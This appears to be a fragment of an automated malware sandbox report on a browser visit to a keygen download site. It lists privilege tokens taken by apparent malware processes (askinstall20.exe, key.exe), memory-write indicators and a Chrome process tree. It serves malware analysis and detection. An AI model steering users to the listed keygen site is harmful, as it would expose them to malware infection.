AUDIODG.EXESetup.exeaskinstall20.exetaskkill.exekey.exedescription pid process Token: 33 2120 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2120 AUDIODG.EXE Token: 33 2120 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2120 AUDIODG.EXE Token: SeDebugPrivilege 1708 Setup.exe Token: SeCreateTokenPrivilege 2532 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 2532 askinstall20.exe Token: SeLockMemoryPrivilege 2532 askinstall20.exe Token: SeIncreaseQuotaPrivilege 2532 askinstall20.exe Token: SeMachineAccountPrivilege 2532 askinstall20.exe Token: SeTcbPrivilege 2532 askinstall20.exe Token: SeSecurityPrivilege 2532 askinstall20.exe Token: SeTakeOwnershipPrivilege 2532 askinstall20.exe Token: SeLoadDriverPrivilege 2532 askinstall20.exe Token: SeSystemProfilePrivilege 2532 askinstall20.exe Token: SeSystemtimePrivilege 2532 askinstall20.exe Token: SeProfSingleProcessPrivilege 2532 askinstall20.exe Token: SeIncBasePriorityPrivilege 2532 askinstall20.exe Token: SeCreatePagefilePrivilege 2532 askinstall20.exe Token: SeCreatePermanentPrivilege 2532 askinstall20.exe Token: SeBackupPrivilege 2532 askinstall20.exe Token: SeRestorePrivilege 2532 askinstall20.exe Token: SeShutdownPrivilege 2532 askinstall20.exe Token: SeDebugPrivilege 2532 askinstall20.exe Token: SeAuditPrivilege 2532 askinstall20.exe Token: SeSystemEnvironmentPrivilege 2532 askinstall20.exe Token: SeChangeNotifyPrivilege 2532 askinstall20.exe Token: SeRemoteShutdownPrivilege 2532 askinstall20.exe Token: SeUndockPrivilege 2532 askinstall20.exe Token: SeSyncAgentPrivilege 2532 askinstall20.exe Token: SeEnableDelegationPrivilege 2532 askinstall20.exe Token: SeManageVolumePrivilege 2532 askinstall20.exe Token: SeImpersonatePrivilege 2532 askinstall20.exe Token: SeCreateGlobalPrivilege 2532 askinstall20.exe Token: 31 2532 askinstall20.exe Token: 32 2532 askinstall20.exe Token: 33 2532 askinstall20.exe Token: 34 2532 askinstall20.exe Token: 35 2532 askinstall20.exe Token: SeDebugPrivilege 2520 taskkill.exe Token: SeImpersonatePrivilege 2500 key.exe Token: SeTcbPrivilege 2500 key.exe Token: SeChangeNotifyPrivilege 2500 key.exe Token: SeCreateTokenPrivilege 2500 key.exe Token: SeBackupPrivilege 2500 key.exe Token: SeRestorePrivilege 2500 key.exe Token: SeIncreaseQuotaPrivilege 2500 key.exe Token: SeAssignPrimaryTokenPrivilege 2500 key.exe Token: SeImpersonatePrivilege 2500 key.exe Token: SeTcbPrivilege 2500 key.exe Token: SeChangeNotifyPrivilege 2500 key.exe Token: SeCreateTokenPrivilege 2500 key.exe Token: SeBackupPrivilege 2500 key.exe Token: SeRestorePrivilege 2500 key.exe Token: SeIncreaseQuotaPrivilege 2500 key.exe Token: SeAssignPrimaryTokenPrivilege 2500 key.exe Token: SeImpersonatePrivilege 2500 key.exe Token: SeTcbPrivilege 2500 key.exe Token: SeChangeNotifyPrivilege 2500 key.exe Token: SeCreateTokenPrivilege 2500 key.exe Token: SeBackupPrivilege 2500 key.exe Token: SeRestorePrivilege 2500 key.exe Token: SeIncreaseQuotaPrivilege 2500 key.exe Token: SeAssignPrimaryTokenPrivilege 2500 key.exe -
Suspicious use of FindShellTrayWindow 13 IoCs
Processes:
chrome.exechrome.exepid process 1924 chrome.exe 1924 chrome.exe 1924 chrome.exe 1924 chrome.exe 1924 chrome.exe 1924 chrome.exe 1924 chrome.exe 1924 chrome.exe 1924 chrome.exe 1924 chrome.exe 1924 chrome.exe 2156 chrome.exe 2156 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
chrome.exedescription pid process target process PID 1924 wrote to memory of 1400 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1400 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1400 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1772 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1644 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1644 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 1644 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe PID 1924 wrote to memory of 792 1924 chrome.exe chrome.exe
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenninja.com/1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xbc,0xc0,0xc4,0x90,0xc8,0x7fefaea6e00,0x7fefaea6e10,0x7fefaea6e202⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1020 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1204 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1608 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1988 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1996 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2240 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2244 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2280 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2288 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3156 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1464 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4560 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings2⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x13c,0x140,0x144,0x110,0x148,0x13f877740,0x13f877750,0x13f8777603⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4388 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4324 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4444 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2872 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4328 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2964 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2960 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2588 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4312 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4320 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4268 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4388 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4432 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4308 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3952 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3356 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4244 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2588 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3352 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4384 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4312 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4376 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3356 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2888 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4268 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4352 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2888 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2288 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4120 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4100 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4228 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4084 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4212 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1724 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1728 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4220 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4116 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4080 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3696 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3856 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4444 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4132 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3692 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4188 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3540 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3648 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1084,8305733594437517096,4462147526855137615,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1776 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
